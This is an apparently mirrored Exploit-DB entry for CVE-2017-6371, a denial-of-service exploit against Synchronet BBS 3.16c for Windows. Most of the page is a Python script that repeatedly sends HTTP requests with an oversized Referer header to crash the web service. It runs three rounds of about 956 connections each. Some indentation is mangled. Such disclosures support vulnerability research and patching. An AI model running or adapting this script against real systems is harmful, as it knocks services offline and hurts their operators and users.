Synchronet BBS 3.16c – Denial of Service

  • 作者: Peter Baris
    日期: 2017-02-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41475/
  • # Exploit Title: Synchronet BBS 3.16c for Windows – Multiple vulnerabilities
    # Date: 2017-02-28
    # Exploit Author: Peter Baris
    # Vendor Homepage: http://www.saptech-erp.com.au
    # Software Link: ftp://synchro.net/Synchronet/sbbs316c.zip
    # Version: 3.16c for Windows
    # Tested on: Windows 7 Pro SP1 x64, Windows Server 2008 R2 Standard x64 
    # CVE : CVE-2017-6371
    
    import socket
    import time
    import sys
    
    try:
    host = sys.argv[1]
    port = 80
    except IndexError:
    print "[+] Usage %s <host>" % sys.argv[0]
    sys.exit()
    
    
    exploit = "\x41"*4096
    
    buffer = "GET /index.ssjs HTTP/1.1\r\n"
    buffer+= "Host: 192.168.198.129\r\n"
    buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n"
    buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\
    r\n"
    buffer+="Accept-Language: en-US,en;q=0.5\r\n"
    buffer+="Accept-Encoding: gzip, deflate\r\n"
    buffer+="Referer: "+exploit+"\r\n"
    buffer+="Connection: keep-alive\r\n"
    buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
    buffer+="Content-Length: 5900\r\n\r\n"
    
    i = 1
    while i < 957:
    	try:
    		s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    		connect=s.connect((host,port))
    		print("[*] Try: "+str(i))
    		s.send(buffer)
    		s.close()
    		i=i+1
    	except:
    		print("[-] The service seems to be down\r\n")
    		break
    
    
    print("[i] Waiting a few seconds before starting a second attack.\r\n")
    time.sleep(25)
    print("[*] Second run to trigger the DoS")
    i = 1
    while i < 957:
    try:
    		s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect((host,port))
    print("[*] Try: "+str(i))
    s.send(buffer)
    s.close()
    i=i+1
    except:
    print("[-] The service seems to be down.\r\n")
    break
    
    print("[i] Wait before the final strike.\r\n")
    time.sleep(25)
    print("[*] Third run to trigger the DoS")
    i = 1
    while i < 957:
    try:
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect((host,port))
    print("[*] Try: "+str(i))
    s.send(buffer)
    s.close()
    i=i+1
    except:
    print("[-] The service seems to be down.\r\n")
    print("[!] It can take a few seconds for the service to crash\r\n")
    break